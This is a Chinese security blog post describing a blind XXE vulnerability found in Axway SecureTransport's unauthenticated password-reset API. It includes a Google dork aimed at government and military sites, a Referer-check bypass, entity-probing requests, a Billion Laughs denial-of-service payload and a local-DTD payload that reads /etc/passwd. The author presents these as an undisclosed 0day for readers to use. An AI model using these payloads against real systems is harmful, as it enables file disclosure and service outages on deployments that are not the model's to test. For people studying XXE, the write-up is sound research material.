一次Blind-XXE漏洞挖掘之旅

2019-08-04 约 284 字 预计阅读 2 分钟

声明:本文 【一次Blind-XXE漏洞挖掘之旅】 由作者 Hulk 于 2019-08-04 09:08:00 首发 先知社区 曾经 浏览数 82 次

感谢 Hulk 的辛苦付出!

0x01 前言

当对大公司做渗透测试时,通常我们会发现相同的软件在不同公司中被使用。过去几周我一直在做渗透测试,其间我至少三次遇到过一个名为Axway SecureTransport Login的软件。Axway官网介绍道:

“Axway SecureTransport是一个多协议的MFT网关,用于保护,管理和跟踪企业内部人员的文件传输以及用户社区,云和移动设备安全。 这款产品设计初衷是处理所有事件——从系统,网站,业务线以及合作伙伴之间的大容量高速安全的文件传输,到用户驱动的通信和移动终端。”

它似乎是很关键的设施?Nope

0x01.1 哪些组织使用它?

使用Google黑客,看看哪些组织在使用这款软件。

intitle:"Axway SecureTransport" "Login" (site:mil OR site:gov)

0x02 发现漏洞

正如我在前面说的那样,我在渗透测试过程中遇到Axway SecureTransport login好几次了,决定稍微查看一下。最终我受够了,碰到太多次了,我认为它一定有蹊跷。

毫无疑问,寻找漏洞的第一步是确定攻击面。看起来它是一款企业软件,并且要使用的话需要提供凭据。那么我会尝试坚持使用目前的权限做一些操作。

我做的第一件事是读页面源码(首页)。在一个名为login.js的文件中我发现了以下代码:

var parameters = "<resetPassword><email>" + userEmail + "</email></resetPassword>";
$.ajax({
    url : "/api/v1.0/myself/resetPassword",
    type : 'POST',
    contentType : 'application/xml',
    data : parameters,
    cache : false,
    success : function(data) {
    var msg = $.tmpl('<p>${m1}</p><p>${m2}</p>', {
        m1: _('Your request is now submitted.'),
        m2: message
        });

    errorPlaceholder.success(msg);
    }
});

简单阅读代码,显然可以看出我们可以发送密码重置邮件(无需身份验证)。还可以看到,在XMLHttpRequest中ContentType被设置为XML,并且用XML数据存储var参数。

这给我们提供了一个很好的攻击模版,我们可以发送一些有效的XML数据。管理员禁用了忘记密码选项,这就是我们看不到它的原因。但是这是完全无效的,因为程序只是从UI层面禁用了它。

打开Burp进行一些快速测试。发送请求https://placeholder/api/v1.0/myself/resetPassword(GET方式),拦截SecureTransport的请求。响应如下:

很明显,通过报错可知,服务器要求提供Referer标头并且对其进行检查是否属于白名单。Ok,将Referer设置为localhost,便可轻松绕过。

设置好Referer标头后,接下来尝试发送POST请求,看看会发生什么。

服务器返回错误信息:

{
  "message" : "javax.xml.bind.UnmarshalException
   - with linked exception:
   [org.xml.sax.SAXParseException; Premature end of file.]"
}

该错误信息通常表示服务器尝试解析一个空的XML文档。逐步测试,先随便插入一个标签<test>,看看反映:

这次服务器返回的报错信息为:

{
  "message" : "javax.xml.bind.UnmarshalException:
  unexpected element (uri:&quot;&quot;, local:&quot;test&quot;).
  Expected elements are &lt;{}resetPassword&gt;"
}

很明显,服务器希望收到<resetPassword></resetPassword>元素,让我们进一步测试看看会发生什么。

从图片可以看到,还需要发送email标签。我们在payload里添加email标签,并且在顶部添加XML声明,看看会怎样。

<?xml version="1.0" encoding="UTF-8"?>
<resetPassword>
    <email>lol@lol.lol</email>
</resetPassword>

服务器给出响应204...

因为响应没有任何错误,所以我们现在可以确定XML被成功地解析。我之前不相信这点,然而当我在表单中插入有效的email时,服务器反馈的也是204响应。

但不好的一点是,服务器没有反馈出任何有效内容,这意味着我们要盲目探索。好的一点是,当外部实体或dtd声明被禁用时,SAXParser会抛出异常。我们可以综合这两点来确认漏洞,摸索前进。

0x03 确认漏洞

我们可以随意发送XML数据给服务器,并且服务器将处理这些数据。 考虑到服务器易受XML注入影响,我们还可以尝试带入外部实体。

现在尝试定义一些实体,看看会发生什么。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE resetPassword [
<!ENTITY exists SYSTEM "file:///">
]>
<resetPassword>
    <email>&exists;&doesnt;</email>
</resetPassword>

{
  "message" : "javax.xml.bind.UnmarshalException
   - with linked exception:
   [org.xml.sax.SAXParseException; lineNumber: 6;
    columnNumber: 25; The entity &quot;doesnt&quot;
    was referenced, but not declared.]"
}

通常如果正确配置了文档类型,将触发异常。如果用户使用的是受限的URI hander(http,ftp,gopher和file),SAXParser也会发生异常,但我没有测试它们。

0x04 利用漏洞

因为服务器不会返回有效内容,所以我们只能尝试基于报错的XXE或out-of-band XXE。但是在我们测试时,发现Axway SecureTransport似乎安装了某种防火墙,隔绝了所有向外部发出的请求,这使得利用传统XXE攻击方式更加困难。

基于这一点,我的想法是通过Blind-SSRF或加载本地系统上自带的的DTD文件,然后结合Payload内容触发错误。

但是我没有License,拿不到源代码,无法做白盒审计,所以无法映射出内部的攻击。这个漏洞虽然存在,但有一些限制。

0x04.1 SSRF Payload

XXE漏洞非常有意思,因为它可以反映出各种安全问题。最常见的XXE攻击是通过发送服务端请求来攻击内部服务。

0x04.2 DoS攻击 Payload

这个软件还易受DoS攻击。在2002年,媒体报道了Billion Laughs攻击事件。 Billion Laughs攻击会使得服务器加载大量实体,耗尽资源然后崩溃。

这种攻击有几个变体,非常有创意 :)

我在维基百科上找到了下面这个payload:

<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

0x04.3 利用本地DTD

另一种相对较新颖的技术是本地DTD再利用。目前人们通常都会使用这个技术来绕过XXE攻击的一些限制。通过该技术,我们可以重新定义本地文件系统中已经存在的DTD实体。然后,我们可以成功地让应用程序发生错误。

举个例子,下面是一个DTD再利用攻击的payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE resetPassword [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">
<!ENTITY % expr 'aaa)>
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>">
%eval;
%error;
<!ELEMENT aa (bb'>
    %local_dtd;
]>
<resetPassword></resetPassword>

确实,这很有创意。

0x05 小结

如果读者想要了解攻击Axway SecureTransport软件,那么参考本文的漏洞可以帮助你。DTD再利用是一种较新颖的攻击技术,估计在不久之后由于XML解析器和防火墙的完善,我们可以看到更多新鲜的攻击方式。很遗憾没有License,这使我在进一步测试时非常不舒服,我只能测试网络上的目标。

那么各位,请享受0day。

关键词:[‘安全技术’, ‘WEB安全’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now